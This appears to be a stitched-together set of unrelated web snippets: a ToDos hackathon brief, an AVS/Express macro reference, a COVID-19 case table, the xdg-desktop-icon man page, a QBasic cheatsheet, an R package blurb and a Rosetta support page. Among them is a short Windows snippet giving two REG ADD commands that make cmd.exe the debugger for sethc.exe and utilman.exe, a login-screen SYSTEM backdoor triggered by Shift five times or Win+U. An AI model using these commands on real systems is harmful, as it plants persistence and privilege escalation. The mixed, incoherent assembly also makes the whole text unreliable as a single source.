Hackathon: ToDos v2
Date: 01-18-2016
Objective
Your clients liked the initial version of the ToDos app you built. They came
back with a list of new requirements. Build them!
Due
Tuesday @ 11:59pm, 1/19/2016
Requirements
- [ ] There should be three separate pages showing tasks with different priority values
- high
- medium
- low
- [ ] The landing page of the app (index.html) should contain
a navigation bar with links to these three pages.
- [ ] When a task’s priority value is modified (e.g., medium –> high), all four pages
(index, low, medium, high) are automatically refreshed.
Hints
Priority
There are at least two approaches to showing tasks with different priorities on separate
pages:
- Keep the current Firebase data structure. Each page retrieves the entire list
of tasks and does its own filtering based on the priority value, or
- Modify the Firebase data structure so that tasks are organized by three separate
child data locations, such as
todos/low
, todos/medium
, and todos/high
.
Make your own decision which approach to take. You are not limited to these two
approaches. When we meet again next Monday. We will discuss the props
and cons of various approaches.
Real-time Syncing
- Use Firebase.on() instead of
Firebase.once()
- Modification of a task’s priority value can be simulated by changing the value in the Firebase
database browser GUI. Then, with all the four pages open in a browser, you should
expect their contents to refresh on their own automatically.


This macro provides a user interface to the DVextr_vector module in the Visualization library. It allows a single output vector to be selected from a number of input components. For each element of the output vector, the input component and the element of that component are selected.
Input Ports
Name Type Description in Field (link) Input field Parameters
The following lists all of the parameters found in the User Interface ExtractVEctorUI. The parameters are processed by the UI Macro, and parameters in the parameter block ExtractVectorParams are set accordingly.
Name Type Description UI Control veclen int output component vector length Output Veclen current_elem int current element of output vector to select Output Element (component[]) int list of which component to use for each output element Component (sub_component[]) int list of which element of selected component to use for each output element Sub component
Output Ports
Name Type Description out Field (link) Output field with new data component Description
This macro simply encapsulates a user interface with the low-level module DVextr_vector. It allows a vector component to be generated by selecting its elements to refer to any input component's elements. The desired output vector length is specified, and then for each element, the required input is selected.
For each element of the output vector, an input component must be selected from the Component option menu, which lists all the components of the input field. Secondly, an element from the chosen input component must be selected, as the input component itself may be a vector.
In this way, elements can be mixed at will to generate the desired output. This macro is suitable for processing components which are not generally handled by most AVS/Express visualization macros, such as 6 DOF data (generated by modules such as Read_SDRC.)
Input Ports
inInput field containing some Node_Data. Components and elements from this data are then extrapolated to produce a new output component vector.Parameters
As aboveOutput Ports
outOutput field containing a single component comprised of the selected elements from the input components.Utility Macros
The existing low-level DVextr_vector module is used in this User Macro extract_vector. The low-level DVextr_vector module is only available to users of the AVS/Express Developer's Edition.Example
An example application is not provided.Files
xp_comm_proj/extr_vec/xvecdmacs.v contains the extract_vector User Macro, the ExtractVector Functional Macro and the ExtractVectorUI UI Macro V definitions.Other Notes
The extract_vector macro contains no additional source code, so does not require compilation. By default the user inteface will execute in the express process.Authors
Paul G. Lever International AVS CentreSee Also
ExtractVectorParams, ExtractVectorUI and ExtractVector.DVextr_vector, extract_comp, extract_scalar.


For further details, please click on the intended country
Worldwide Results
Confirmed Cases
4 677 068
Confirmed Deaths
310 421
Recovered
1 785 329
Active Cases
2 581 318
Percentage of:
Deaths
Recovered
Active cases
Reported Cases and Deaths by Country, Territory, or Conveyance
The coronavirus COVID-19 is affecting 213 countries and territories around the world and 2 international conveyances.
| # | Country, Other | Total cases * | New cases * | Total deaths * | New deaths * | Total Recovered * | Active cases * | Population |
|---|---|---|---|---|---|---|---|---|
| 1 | USA | 1,493,442 | +9,157 | 88,930 | +423 | 329,724 | 1,074,788 | 330,758,784 |
| 2 | Spain | 276,505 | +2,138 | 27,563 | +104 | 192,253 | 56,689 | 46,752,556 |
| 3 | Russia | 272,043 | +9,200 | 2,537 | +119 | 63,166 | 206,340 | 145,926,781 |
| 4 | UK | 240,161 | +3,450 | 34,466 | +468 | N/A | N/A | 67,841,324 |
| 5 | Italy | 224,760 | +875 | 31,763 | +153 | 122,810 | 70,187 | 60,472,650 |
| 6 | Brazil | 222,877 | +4,654 | 15,046 | +229 | 84,970 | 122,861 | 212,368,566 |
| 7 | France | 179,506 | 27,529 | 60,448 | 91,529 | 65,255,646 | ||
| 8 | Germany | 175,813 | +114 | 8,001 | 152,600 | 15,212 | 83,750,665 | |
| 9 | Turkey | 146,457 | 4,055 | 106,133 | 36,269 | 84,222,640 | ||
| 10 | Iran | 118,392 | +1,757 | 6,937 | +35 | 93,147 | 18,308 | 83,853,830 |
| 11 | India | 88,506 | +2,722 | 2,760 | +7 | 30,786 | 54,960 | 1,378,270,651 |
| 12 | Peru | 84,495 | 2,392 | 27,147 | 54,956 | 32,912,133 | ||
| 13 | China | 82,941 | +8 | 4,633 | 78,219 | 89 | 1,439,323,776 |
* This values are relative to today's date


XDG\-DESKTOP\-ICON
Section: (1)Updated: 06/24/2007
Index Return to Main Contents
NAME
xdg-desktop-icon - command line tool for (un)installing icons to the desktopSYNOPSIS
-
xdg-desktop-icon install [--novendor] FILE
- xdg-desktop-icon uninstall FILE
- xdg-desktop-icon {--help --manual --version}
- xdg-desktop-icon uninstall FILE
DESCRIPTION
An application launcher is represented by a *.desktop file. Desktop files are defined by the freedesktop.org Desktop Entry Specification. The most important aspects of *.desktop files are summarized below.
COMMANDS
- install
- Installs FILE to the desktop of the current user. FILE can be a *.desktop file or any other type of file.
- uninstall
- Removes FILE from the desktop of the current user.
OPTIONS
- --novendor
-
Normally, xdg-desktop-icon checks to ensure that a *.desktop file to be installed has a vendor prefix. This option can be used to disable that check.
A vendor prefix consists of alpha characters ([a-zA-Z]) and is terminated with a dash ("-"). Companies and organizations are encouraged to use a word or phrase, preferably the organizations name, for which they hold a trademark as their vendor prefix. The purpose of the vendor prefix is to prevent name conflicts.
- --help
- Show command synopsis.
- --manual
- Show this manualpage.
- --version
- Show the xdg-utils version information.
DESKTOP FILES
An application launcher can be added to the desktop by installing a *.desktop file. A *.desktop file consists of a [Desktop Entry] header followed by several Key=Value lines.
A *.desktop file can provide a name and description for an application in several different languages. This is done by adding a language code as used by LC_MESSAGES in square brackets behind the Key. This way one can specify different values for the same Key depending on the currently selected language.
The following keys are often used:
- Value=1.0
- This is a mandatory field to indicate that the *.desktop file follows the 1.0 version of the specification.
- Type=Application
- This is a mandatory field that indicates that the *.desktop file describes an application launcher.
- Name=Application Name
- The name of the application. For example Mozilla
- GenericName=Generic Name
- A generic description of the application. For example Web Browser
- Comment=Comment
- Optional field to specify a tooltip for the application. For example Visit websites on the Internet
- Icon=Icon File
- The icon to use for the application. This can either be an absolute path to an image file or an icon-name. If an icon-name is provided an image lookup by name is done in the user's current icon theme. The xdg-icon-resource command can be used to install image files into icon themes. The advantage of using an icon-name instead of an absolute path is that with an icon-name the application icon can be provided in several different sizes as well as in several differently themed styles.
- Exec=Command Line
- The command line to start the application. If the application can open files the %f placeholder should be specified. When a file is dropped on the application launcher the %f is replaced with the file path of the dropped file. If multiple files can be specified on the command line the %F placeholder should be used instead of %f. If the application is able to open URLs in addition to local files then %u or %U can be used instead of %f or %F.
For a complete oveview of the *.desktop file format please visit http://www.freedesktop.org/wiki/Standards/desktop-entry-spec
ENVIRONMENT VARIABLES
xdg-desktop-icon honours the following environment variables:
- XDG_UTILS_DEBUG_LEVEL
- Setting this environment variable to a non-zero numerical value makes xdg-desktop-icon do more verbose reporting on stderr. Setting a higher value increases the verbosity.
EXIT CODES
An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:
- 1
- Error in command line syntax.
- 2
- One of the files passed on the command line did not exist.
- 3
- A required tool could not be found.
- 4
- The action failed.
- 5
- No permission to read one of the files passed on the command line.
SEE ALSO
EXAMPLES
The company ShinyThings Inc. has developed an application named "WebMirror" and would like to add a launcher for for on the desktop. The company will use "shinythings" as its vendor id. In order to add the application to the desktop there needs to be a .desktop file for the application:
shinythings-webmirror.desktop: [Desktop Entry] Encoding=UTF-8 Type=Application Exec=webmirror Icon=shinythings-webmirror Name=WebMirror Name[nl]=WebSpiegel
Now the xdg-desktop-icon tool can be used to add the webmirror.desktop file to the desktop:
xdg-desktop-icon install ./shinythings-webmirror.desktop
To add a README file to the desktop as well, the following command can be used:
xdg-desktop-icon install ./shinythings-README
AUTHOR
Kevin Krammer, Jeremy<EMAIL_ADDRESS><EMAIL_ADDRESS>Index
- NAME
- SYNOPSIS
- DESCRIPTION
- COMMANDS
- OPTIONS
- DESKTOP FILES
- ENVIRONMENT VARIABLES
- EXIT CODES
- SEE ALSO
- EXAMPLES
- AUTHOR
This document was created by man2html, using the manual pages.
Time: 05:29:12 GMT, December 24, 2015


QBasic Cheatsheet
' this line is a comment. The computer ignores it.
name$ = "Cake"
PRINT LCASE$(name$) 'LCASE$ makes it lowercase
PRINT UCASE$(name$) 'UCASE$ makes it capitals
coins = 3
IF coins > 1 THEN
PRINT "many coins"
ELSE
PRINT "that's unexpected."
END IF
DO
PRINT "this will loop forever"
LOOP
' Press Ctrl+Break to stop a program that's
'stuck in a loop. This doesn't work in our online version :(
X = 0
DO
X = X + 1
LOOP UNTIL X = 4
FOR I = 1 TO 100
PRINT I
NEXT I
FOR I = 1 TO 100 STEP 5
PRINT I
NEXT I
' Print on the same line by using a ;
PRINT "line 1";
PRINT "still line 1"
PRINT "line 2."
' Subs let you make your own commands.
' First you write what the command should do:
SUB PrintCoins
COLOR 15
PRINT "You have"; coins; "coins left."
COLOR 4
IF coins = 10 THEN PRINT "That's enough for a hat!"
END SUB
' This will take you to a new tab, kind of.
' Press F2 to switch between tabs and find your old code
' Now you can run all that code just by writing this:
PrintCoins
' You can pass arguments to a sub
SUB DrawCircle (radius)
'....
END SUB
DrawCircle 10
'TODO: graphics modes, drawing shapes.


For scientists and data managers who need to easily create high quality EML metadata for data publication. EMLassemblyline
is a metadata builder that emphasizes auto-extraction of metadata, appends value added content, and inputs user supplied information through common interfaces thereby minimizing user effort while maximizing metadata features for data discovery and reuse.
# Install from GitHub
remotes::install_github("EDIorg/EMLassemblyline", dependencies = TRUE, upgrade = "never")
EMLassemblyline
(and other metadata builders) can be used with any metadata storage/organization system (e.g. LTER-core-metabase).We welcome contributions of all forms. Please reference our code conduct and contributing guidelines for details.
This project uses semantic versioning.


Sethc is sticky keys and runs as SYSTEM, so if cmd.exe is in place instead of sethc (or if you can write to it), it can present a backdoor or easy SYSTEM access. Trigger is SHIFT five times
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
Utilman is essentially the same, running as SYSTEM. Trigger is WIN + U
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f


How To Get Rosetta Support
- Request Support from the Rosetta developers by emailing<EMAIL_ADDRESS>The Unidata Data Translation Tool, Rosetta, is a web-based service that provides an easy, wizard-based interface for data collectors to transform their datalogger generated ASCII output into Climate and Forecast (CF) compliant netCDF files, complete with metadata describing what data are contained in the file, the instruments used to collect the data, and other critical information that otherwise may be lost in one of many dreaded README files. The use of CF compliant netCDF files allows the use of standard services to achieve the many goals of the ACADIS project. However, with the understanding that the observational community appreciates the ease of use of ASCII files, methods for transforming the netCDF back into a user defined CSV or spreadsheet format are also built-in. We anticipate that Rosetta and the associated services will be of value to a broader community users who have similar needs for transforming the data they have collected or stored in non-standard formats.
See the Rosetta package overview